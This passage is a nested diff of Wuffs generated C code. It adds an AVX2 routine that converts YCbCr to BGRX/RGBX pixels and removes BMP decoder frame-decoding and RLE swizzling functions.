++ __m256i packed_g_eve = _mm256_packus_epi16(loose_g_eve, loose_g_eve); ++ __m256i packed_g_odd = _mm256_packus_epi16(loose_g_odd, loose_g_odd); + +-// -------- func bmp.decoder.do_decode_frame ++ __m256i loose_r_eve = _mm256_add_epi16(ry_eve, yy_eve); ++ __m256i loose_r_odd = _mm256_add_epi16(ry_odd, yy_odd); ++ __m256i packed_r_eve = _mm256_packus_epi16(loose_r_eve, loose_r_eve); ++ __m256i packed_r_odd = _mm256_packus_epi16(loose_r_odd, loose_r_odd); + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bmp__decoder__do_decode_frame( +- wuffs_bmp__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts) { +- wuffs_base__status status = wuffs_base__make_status(NULL); ++ // ---- + +- wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ // Mix those values (unpacking in 8, 16 and then 32 bit units) to get the ++ // desired BGRX/RGBX order. ++ // ++ // From here onwards, all of our __m256i registers are u8x32. + +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++ // mix00 = [b00 g00 b02 g02 .. b0E g0E b10 g10 .. b1C g1C b1E g1E] ++ // mix01 = [b01 g01 b03 g03 .. b0F g0F b11 g11 .. b1D g1D b1F g1F] ++ // mix02 = [r00 % r02 % .. r0E % r10 % .. r1C % r1E %] ++ // mix03 = [r01 % r03 % .. r0F % r11 % .. r1D % r1F %] ++ // ++ // See also § below. ++ __m256i mix00 = _mm256_unpacklo_epi8(packed_b_eve, packed_g_eve); ++ __m256i mix01 = _mm256_unpacklo_epi8(packed_b_odd, packed_g_odd); ++ __m256i mix02 = _mm256_unpacklo_epi8(packed_r_eve, uFFFF); ++ __m256i mix03 = _mm256_unpacklo_epi8(packed_r_odd, uFFFF); + +- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ // mix10 = [b00 g00 r00 % b02 g02 r02 % b04 g04 r04 % b06 g06 r06 % ++ // b10 g10 r10 % b12 g12 r12 % b14 g14 r14 % b16 g16 r16 %] ++ // mix11 = [b01 g01 r01 % b03 g03 r03 % b05 g05 r05 % b07 g07 r07 % ++ // b11 g11 r11 % b13 g13 r13 % b15 g15 r15 % b17 g17 r17 %] ++ // mix12 = [b08 g08 r08 % b0A g0A r0A % b0C g0C r0C % b0E g0E r0E % ++ // b18 g18 r18 % b1A g1A r1A % b1C g1C r1C % b1E g1E r1E %] ++ // mix13 = [b09 g09 r09 % b0B g0B r0B % b0D g0D r0D % b0F g0F r0F % ++ // b19 g19 r19 % b1B g1B r1B % b1D g1D r1D % b1F g1F r1F %] ++ __m256i mix10 = _mm256_unpacklo_epi16(mix00, mix02); ++ __m256i mix11 = _mm256_unpacklo_epi16(mix01, mix03); ++ __m256i mix12 = _mm256_unpackhi_epi16(mix00, mix02); ++ __m256i mix13 = _mm256_unpackhi_epi16(mix01, mix03); + +- if (self->private_impl.f_call_sequence == 64u) { +- } else if (self->private_impl.f_call_sequence < 64u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- status = wuffs_bmp__decoder__do_decode_frame_config(self, NULL, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- } else { +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; +- } +- self->private_data.s_do_decode_frame[0].scratch = self->private_impl.f_padding; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- if (self->private_data.s_do_decode_frame[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_do_decode_frame[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_do_decode_frame[0].scratch; +- if ((self->private_impl.f_width > 0u) && (self->private_impl.f_height > 0u)) { +- self->private_impl.f_dst_x = 0u; +- if (self->private_impl.f_top_down) { +- self->private_impl.f_dst_y = 0u; +- self->private_impl.f_dst_y_inc = 1u; +- } else { +- self->private_impl.f_dst_y = ((uint32_t)(self->private_impl.f_height - 1u)); +- self->private_impl.f_dst_y_inc = 4294967295u; +- } +- v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, +- wuffs_base__pixel_buffer__pixel_format(a_dst), +- wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8_ij(self->private_data.f_scratch, 1024, 2048)), +- wuffs_base__utility__make_pixel_format(self->private_impl.f_src_pixfmt), +- wuffs_base__make_slice_u8(self->private_data.f_src_palette, 1024), +- a_blend); +- if ( ! wuffs_base__status__is_ok(&v_status)) { +- status = v_status; +- if (wuffs_base__status__is_error(&status)) { +- goto exit; +- } else if (wuffs_base__status__is_suspension(&status)) { +- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); +- goto exit; +- } +- goto ok; +- } +- while (true) { +- if (self->private_impl.f_compression == 0u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- v_status = wuffs_bmp__decoder__swizzle_none(self, a_dst, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- } else if (self->private_impl.f_compression < 3u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- v_status = wuffs_bmp__decoder__swizzle_rle(self, a_dst, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- } else if (self->private_impl.f_compression == 3u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- v_status = wuffs_bmp__decoder__swizzle_bitfields(self, a_dst, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- } else { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- v_status = wuffs_bmp__decoder__swizzle_low_bit_depth(self, a_dst, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- } +- if (wuffs_base__status__is_ok(&v_status)) { +- break; +- } else if (v_status.repr != wuffs_bmp__note__internal_note_short_read) { +- status = v_status; +- if (wuffs_base__status__is_error(&status)) { +- goto exit; +- } else if (wuffs_base__status__is_suspension(&status)) { +- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); +- goto exit; +- } +- goto ok; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); +- } +- self->private_data.s_do_decode_frame[0].scratch = self->private_impl.f_pending_pad; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- if (self->private_data.s_do_decode_frame[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_do_decode_frame[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_do_decode_frame[0].scratch; +- self->private_impl.f_pending_pad = 0u; +- } +- self->private_impl.f_call_sequence = 96u; ++ // mix20 = [b00 g00 r00 % b01 g01 r01 % b02 g02 r02 % b03 g03 r03 % ++ // b10 g10 r10 % b11 g11 r11 % b12 g12 r12 % b13 g13 r13 %] ++ // mix21 = [b04 g04 r04 % b05 g05 r05 % b06 g06 r06 % b07 g07 r07 % ++ // b14 g14 r14 % b15 g15 r15 % b16 g16 r16 % b17 g17 r17 %] ++ // mix22 = [b08 g08 r08 % b09 g09 r09 % b0A g0A r0A % b0B g0B r0B % ++ // b18 g18 r18 % b19 g19 r19 % b1A g1A r1A % b1B g1B r1B %] ++ // mix23 = [b0C g0C r0C % b0D g0D r0D % b0E g0E r0E % b0F g0F r0F % ++ // b1C g1C r1C % b1D g1D r1D % b1E g1E r1E % b1F g1F r1F %] ++ __m256i mix20 = _mm256_unpacklo_epi32(mix10, mix11); ++ __m256i mix21 = _mm256_unpackhi_epi32(mix10, mix11); ++ __m256i mix22 = _mm256_unpacklo_epi32(mix12, mix13); ++ __m256i mix23 = _mm256_unpackhi_epi32(mix12, mix13); + +- ok: +- self->private_impl.p_do_decode_frame[0] = 0; +- goto exit; +- } ++ // mix30 = [b00 g00 r00 % b01 g01 r01 % b02 g02 r02 % b03 g03 r03 % ++ // b04 g04 r04 % b05 g05 r05 % b06 g06 r06 % b07 g07 r07 %] ++ // mix31 = [b08 g08 r08 % b09 g09 r09 % b0A g0A r0A % b0B g0B r0B % ++ // b0C g0C r0C % b0D g0D r0D % b0E g0E r0E % b0F g0F r0F %] ++ // mix32 = [b10 g10 r10 % b11 g11 r11 % b12 g12 r12 % b13 g13 r13 % ++ // b14 g14 r14 % b15 g15 r15 % b16 g16 r16 % b17 g17 r17 %] ++ // mix33 = [b18 g18 r18 % b19 g19 r19 % b1A g1A r1A % b1B g1B r1B % ++ // b1C g1C r1C % b1D g1D r1D % b1E g1E r1E % b1F g1F r1F %] ++ __m256i mix30 = _mm256_permute2x128_si256(mix20, mix21, 0x20); ++ __m256i mix31 = _mm256_permute2x128_si256(mix22, mix23, 0x20); ++ __m256i mix32 = _mm256_permute2x128_si256(mix20, mix21, 0x31); ++ __m256i mix33 = _mm256_permute2x128_si256(mix22, mix23, 0x31); + +- goto suspend; +- suspend: +- self->private_impl.p_do_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ // Write out four u8x32 SIMD registers (128 bytes, 32 BGRX/RGBX pixels). ++ _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x00), mix30); ++ _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x20), mix31); ++ _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x40), mix32); ++ _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x60), mix33); + +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ // Advance by up to 32 pixels. The first iteration might be smaller than 32 ++ // so that all of the remaining steps are exactly 32. ++ uint32_t n = 32u - (31u & (x - x_end)); ++ dst_iter += 4u * n; ++ up0 += n; ++ up1 += n; ++ up2 += n; ++ x += n; + } +- +- return status; + } + +-// -------- func bmp.decoder.swizzle_none ++// The rgbx flavor (below) is exactly the same as the bgrx flavor (above) ++// except for the lines marked with a § and that comments were stripped. ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") ++static void // ++wuffs_private_impl__swizzle_ycc__convert_3_rgbx_x86_avx2( ++ wuffs_base__pixel_buffer* dst, ++ uint32_t x, ++ uint32_t x_end, ++ uint32_t y, ++ const uint8_t* up0, ++ const uint8_t* up1, ++ const uint8_t* up2) { ++ if ((x + 32u) > x_end) { ++ wuffs_private_impl__swizzle_ycc__convert_3_bgrx( // ++ dst, x, x_end, y, up0, up1, up2); ++ return; ++ } + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bmp__decoder__swizzle_none( +- wuffs_bmp__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); ++ size_t dst_stride = dst->private_impl.planes[0].stride; ++ uint8_t* dst_iter = dst->private_impl.planes[0].ptr + ++ (dst_stride * ((size_t)y)) + (4u * ((size_t)x)); + +- wuffs_base__pixel_format v_dst_pixfmt = {0}; +- uint32_t v_dst_bits_per_pixel = 0; +- uint32_t v_dst_bytes_per_pixel = 0; +- uint64_t v_dst_bytes_per_row = 0; +- uint32_t v_src_bytes_per_pixel = 0; +- wuffs_base__slice_u8 v_dst_palette = {0}; +- wuffs_base__table_u8 v_tab = {0}; +- wuffs_base__slice_u8 v_dst = {0}; +- uint64_t v_i = 0; +- uint64_t v_j = 0; +- uint64_t v_n = 0; ++ const __m256i u0001 = _mm256_set1_epi16(+0x0001); ++ const __m256i u00FF = _mm256_set1_epi16(+0x00FF); ++ const __m256i uFF80 = _mm256_set1_epi16(-0x0080); ++ const __m256i uFFFF = _mm256_set1_epi16(-0x0001); + +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++ const __m256i p8000_p0000 = _mm256_set_epi16( // ++ +0x0000, -0x8000, +0x0000, -0x8000, // ++ +0x0000, -0x8000, +0x0000, -0x8000, // ++ +0x0000, -0x8000, +0x0000, -0x8000, // ++ +0x0000, -0x8000, +0x0000, -0x8000); + +- v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); +- v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); +- if ((v_dst_bits_per_pixel & 7u) != 0u) { +- status = wuffs_base__make_status(wuffs_base__error__unsupported_option); +- goto exit; +- } +- v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); +- v_dst_bytes_per_row = ((uint64_t)((self->private_impl.f_width * v_dst_bytes_per_pixel))); +- v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8_ij(self->private_data.f_scratch, 1024, 2048)); +- v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); +- label__outer__continue:; +- while (true) { +- while (self->private_impl.f_pending_pad > 0u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- status = wuffs_base__make_status(wuffs_bmp__note__internal_note_short_read); +- goto ok; +- } +- self->private_impl.f_pending_pad -= 1u; +- iop_a_src += 1u; +- } +- while (true) { +- if (self->private_impl.f_dst_x == self->private_impl.f_width) { +- self->private_impl.f_dst_x = 0u; +- self->private_impl.f_dst_y += self->private_impl.f_dst_y_inc; +- if (self->private_impl.f_dst_y >= self->private_impl.f_height) { +- if (self->private_impl.f_height > 0u) { +- self->private_impl.f_pending_pad = self->private_impl.f_pad_per_row; +- } +- goto label__outer__break; +- } else if (self->private_impl.f_pad_per_row != 0u) { +- self->private_impl.f_pending_pad = self->private_impl.f_pad_per_row; +- goto label__outer__continue; +- } +- } +- v_dst = wuffs_base__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); +- if (v_dst_bytes_per_row < ((uint64_t)(v_dst.len))) { +- v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_bytes_per_row); +- } +- v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_dst_bytes_per_pixel))); +- if (v_i >= ((uint64_t)(v_dst.len))) { +- if (self->private_impl.f_bits_per_pixel > 32u) { +- status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); +- goto exit; +- } +- v_src_bytes_per_pixel = (self->private_impl.f_bits_per_pixel / 8u); +- if (v_src_bytes_per_pixel == 0u) { +- status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); +- goto exit; +- } +- v_n = (((uint64_t)(io2_a_src - iop_a_src)) / ((uint64_t)(v_src_bytes_per_pixel))); +- v_n = wuffs_base__u64__min(v_n, ((uint64_t)(((uint32_t)(self->private_impl.f_width - self->private_impl.f_dst_x))))); +- v_j = v_n; +- while (v_j >= 8u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) >= ((uint64_t)((v_src_bytes_per_pixel * 8u)))) { +- iop_a_src += (v_src_bytes_per_pixel * 8u); +- } +- v_j -= 8u; +- } +- while (v_j > 0u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) >= ((uint64_t)((v_src_bytes_per_pixel * 1u)))) { +- iop_a_src += (v_src_bytes_per_pixel * 1u); +- } +- v_j -= 1u; +- } +- } else { +- v_n = wuffs_base__pixel_swizzler__swizzle_interleaved_from_reader( +- &self->private_impl.f_swizzler, +- wuffs_base__slice_u8__subslice_i(v_dst, v_i), +- v_dst_palette, +- &iop_a_src, +- io2_a_src); +- } +- if (v_n == 0u) { +- status = wuffs_base__make_status(wuffs_bmp__note__internal_note_short_read); +- goto ok; +- } +- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); +- } +- } +- label__outer__break:; +- status = wuffs_base__make_status(NULL); +- goto ok; ++ const __m256i m3A5E = _mm256_set1_epi16(-0x3A5E); ++ const __m256i p66E9 = _mm256_set1_epi16(+0x66E9); ++ const __m256i m581A_p492E = _mm256_set_epi16( // ++ +0x492E, -0x581A, +0x492E, -0x581A, // ++ +0x492E, -0x581A, +0x492E, -0x581A, // ++ +0x492E, -0x581A, +0x492E, -0x581A, // ++ +0x492E, -0x581A, +0x492E, -0x581A); + +- ok: +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } ++ while (x < x_end) { ++ __m256i cb_all = _mm256_lddqu_si256((const __m256i*)(const void*)up1); ++ __m256i cr_all = _mm256_lddqu_si256((const __m256i*)(const void*)up2); ++ __m256i cb_eve = _mm256_add_epi16(uFF80, _mm256_and_si256(cb_all, u00FF)); ++ __m256i cr_eve = _mm256_add_epi16(uFF80, _mm256_and_si256(cr_all, u00FF)); ++ __m256i cb_odd = _mm256_add_epi16(uFF80, _mm256_srli_epi16(cb_all, 8)); ++ __m256i cr_odd = _mm256_add_epi16(uFF80, _mm256_srli_epi16(cr_all, 8)); + +- return status; +-} ++ __m256i tmp_by_eve = _mm256_srai_epi16( ++ _mm256_add_epi16( ++ _mm256_mulhi_epi16(_mm256_add_epi16(cb_eve, cb_eve), m3A5E), u0001), ++ 1); ++ __m256i tmp_by_odd = _mm256_srai_epi16( ++ _mm256_add_epi16( ++ _mm256_mulhi_epi16(_mm256_add_epi16(cb_odd, cb_odd), m3A5E), u0001), ++ 1); ++ __m256i tmp_ry_eve = _mm256_srai_epi16( ++ _mm256_add_epi16( ++ _mm256_mulhi_epi16(_mm256_add_epi16(cr_eve, cr_eve), p66E9), u0001), ++ 1); ++ __m256i tmp_ry_odd = _mm256_srai_epi16( ++ _mm256_add_epi16( ++ _mm256_mulhi_epi16(_mm256_add_epi16(cr_odd, cr_odd), p66E9), u0001), ++ 1); + +-// -------- func bmp.decoder.swizzle_rle ++ __m256i by_eve = ++ _mm256_add_epi16(tmp_by_eve, _mm256_add_epi16(cb_eve, cb_eve)); ++ __m256i by_odd = ++ _mm256_add_epi16(tmp_by_odd, _mm256_add_epi16(cb_odd, cb_odd)); ++ __m256i ry_eve = _mm256_add_epi16(tmp_ry_eve, cr_eve); ++ __m256i ry_odd = _mm256_add_epi16(tmp_ry_odd, cr_odd); + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bmp__decoder__swizzle_rle( +- wuffs_bmp__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); ++ __m256i tmp0_gy_eve_lo = _mm256_madd_epi16( // ++ _mm256_unpacklo_epi16(cb_eve, cr_eve), m581A_p492E); ++ __m256i tmp0_gy_eve_hi = _mm256_madd_epi16( // ++ _mm256_unpackhi_epi16(cb_eve, cr_eve), m581A_p492E); ++ __m256i tmp0_gy_odd_lo = _mm256_madd_epi16( // ++ _mm256_unpacklo_epi16(cb_odd, cr_odd), m581A_p492E); ++ __m256i tmp0_gy_odd_hi = _mm256_madd_epi16( // ++ _mm256_unpackhi_epi16(cb_odd, cr_odd), m581A_p492E); + +- wuffs_base__pixel_format v_dst_pixfmt = {0}; +- uint32_t v_dst_bits_per_pixel = 0; +- uint32_t v_dst_bytes_per_pixel = 0; +- uint64_t v_dst_bytes_per_row = 0; +- wuffs_base__slice_u8 v_dst_palette = {0}; +- wuffs_base__table_u8 v_tab = {0}; +- wuffs_base__slice_u8 v_row = {0}; +- wuffs_base__slice_u8 v_dst = {0}; +- uint64_t v_i = 0; +- uint64_t v_n = 0; +- uint32_t v_p0 = 0; +- uint8_t v_code = 0; +- uint8_t v_indexes[2] = {0}; +- uint32_t v_rle_state = 0; +- uint32_t v_chunk_bits = 0; +- uint32_t v_chunk_count = 0; ++ __m256i tmp1_gy_eve_lo = ++ _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_eve_lo, p8000_p0000), 16); ++ __m256i tmp1_gy_eve_hi = ++ _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_eve_hi, p8000_p0000), 16); ++ __m256i tmp1_gy_odd_lo = ++ _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_odd_lo, p8000_p0000), 16); ++ __m256i tmp1_gy_odd_hi = ++ _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_odd_hi, p8000_p0000), 16); + +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++ __m256i gy_eve = _mm256_sub_epi16( ++ _mm256_packs_epi32(tmp1_gy_eve_lo, tmp1_gy_eve_hi), cr_eve); ++ __m256i gy_odd = _mm256_sub_epi16( ++ _mm256_packs_epi32(tmp1_gy_odd_lo, tmp1_gy_odd_hi), cr_odd); + +- v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); +- v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); +- if ((v_dst_bits_per_pixel & 7u) != 0u) { +- status = wuffs_base__make_status(wuffs_base__error__unsupported_option); +- goto exit; +- } +- v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); +- v_dst_bytes_per_row = ((uint64_t)((self->private_impl.f_width * v_dst_bytes_per_pixel))); +- v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8_ij(self->private_data.f_scratch, 1024, 2048)); +- v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); +- v_rle_state = self->private_impl.f_rle_state; +- label__outer__continue:; +- while (true) { +- v_row = wuffs_base__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); +- if (v_dst_bytes_per_row < ((uint64_t)(v_row.len))) { +- v_row = wuffs_base__slice_u8__subslice_j(v_row, v_dst_bytes_per_row); +- } +- label__middle__continue:; +- while (true) { +- v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_dst_bytes_per_pixel))); +- if (v_i <= ((uint64_t)(v_row.len))) { +- v_dst = wuffs_base__slice_u8__subslice_i(v_row, v_i); +- } else { +- v_dst = wuffs_base__utility__empty_slice_u8(); +- } +- while (true) { +- while (true) { +- if (v_rle_state == 0u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 1u) { +- goto label__goto_suspend__break; +- } +- v_code = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- iop_a_src += 1u; +- if (v_code == 0u) { +- v_rle_state = 2u; +- continue; +- } +- self->private_impl.f_rle_length = ((uint32_t)(v_code)); +- v_rle_state = 1u; +- continue; +- } else if (v_rle_state == 1u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 1u) { +- goto label__goto_suspend__break; +- } +- v_code = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- iop_a_src += 1u; +- if (self->private_impl.f_bits_per_pixel == 8u) { +- v_p0 = 0u; +- while (v_p0 < self->private_impl.f_rle_length) { +- self->private_data.f_scratch[v_p0] = v_code; +- v_p0 += 1u; +- } +- } else { +- v_indexes[0u] = ((uint8_t)((v_code >> 4u))); +- v_indexes[1u] = (v_code & 15u); +- v_p0 = 0u; +- while (v_p0 < self->private_impl.f_rle_length) { +- self->private_data.f_scratch[(v_p0 + 0u)] = v_indexes[0u]; +- self->private_data.f_scratch[(v_p0 + 1u)] = v_indexes[1u]; +- v_p0 += 2u; +- } +- } +- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_base__make_slice_u8(self->private_data.f_scratch, self->private_impl.f_rle_length)); +- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_dst_x, self->private_impl.f_rle_length); +- v_rle_state = 0u; +- goto label__middle__continue; +- } else if (v_rle_state == 2u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 1u) { +- goto label__goto_suspend__break; +- } +- v_code = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- iop_a_src += 1u; +- if (v_code < 2u) { +- if ((self->private_impl.f_dst_y >= self->private_impl.f_height) && (v_code == 0u)) { +- status = wuffs_base__make_status(wuffs_bmp__error__bad_rle_compression); +- goto exit; +- } +- wuffs_base__pixel_swizzler__swizzle_interleaved_transparent_black(&self->private_impl.f_swizzler, v_dst, v_dst_palette, 18446744073709551615u); +- self->private_impl.f_dst_x = 0u; +- self->private_impl.f_dst_y += self->private_impl.f_dst_y_inc; +- if (v_code > 0u) { +- goto label__outer__break; +- } +- v_rle_state = 0u; +- goto label__outer__continue; +- } else if (v_code == 2u) { +- v_rle_state = 4u; +- continue; +- } +- self->private_impl.f_rle_length = ((uint32_t)(v_code)); +- self->private_impl.f_rle_padded = ((self->private_impl.f_bits_per_pixel == 8u) && ((v_code & 1u) != 0u)); +- v_rle_state = 3u; +- continue; +- } else if (v_rle_state == 3u) { +- if (self->private_impl.f_bits_per_pixel == 8u) { +- v_n = wuffs_base__pixel_swizzler__limited_swizzle_u32_interleaved_from_reader( +- &self->private_impl.f_swizzler, +- self->private_impl.f_rle_length, +- v_dst, +- v_dst_palette, +- &iop_a_src, +- io2_a_src); +- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); +- wuffs_base__u32__sat_sub_indirect(&self->private_impl.f_rle_length, ((uint32_t)(v_n))); +- } else { +- v_chunk_count = ((self->private_impl.f_rle_length + 3u) / 4u); +- v_p0 = 0u; +- while ((v_chunk_count > 0u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 2u)) { +- v_chunk_bits = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); +- iop_a_src += 2u; +- self->private_data.f_scratch[(v_p0 + 0u)] = ((uint8_t)((15u & (v_chunk_bits >> 12u)))); +- self->private_data.f_scratch[(v_p0 + 1u)] = ((uint8_t)((15u & (v_chunk_bits >> 8u)))); +- self->private_data.f_scratch[(v_p0 + 2u)] = ((uint8_t)((15u & (v_chunk_bits >> 4u)))); +- self->private_data.f_scratch[(v_p0 + 3u)] = ((uint8_t)((15u & (v_chunk_bits >> 0u)))); +- v_p0 = ((v_p0 & 255u) + 4u); +- v_chunk_count -= 1u; +- } +- v_p0 = wuffs_base__u32__min(v_p0, self->private_impl.f_rle_length); +- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_base__make_slice_u8(self->private_data.f_scratch, v_p0)); +- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_dst_x, v_p0); +- wuffs_base__u32__sat_sub_indirect(&self->private_impl.f_rle_length, v_p0); +- } +- if (self->private_impl.f_rle_length > 0u) { +- goto label__goto_suspend__break; +- } +- if (self->private_impl.f_rle_padded) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 1u) { +- goto label__goto_suspend__break; +- } +- iop_a_src += 1u; +- self->private_impl.f_rle_padded = false; +- } +- v_rle_state = 0u; +- goto label__middle__continue; +- } else if (v_rle_state == 4u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 1u) { +- goto label__goto_suspend__break; +- } +- self->private_impl.f_rle_delta_x = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- iop_a_src += 1u; +- v_rle_state = 5u; +- continue; +- } +- if (((uint64_t)(io2_a_src - iop_a_src)) < 1u) { +- goto label__goto_suspend__break; +- } +- v_code = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- iop_a_src += 1u; +- if (self->private_impl.f_rle_delta_x > 0u) { +- wuffs_base__pixel_swizzler__swizzle_interleaved_transparent_black(&self->private_impl.f_swizzler, v_dst, v_dst_palette, ((uint64_t)(self->private_impl.f_rle_delta_x))); +- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_dst_x, 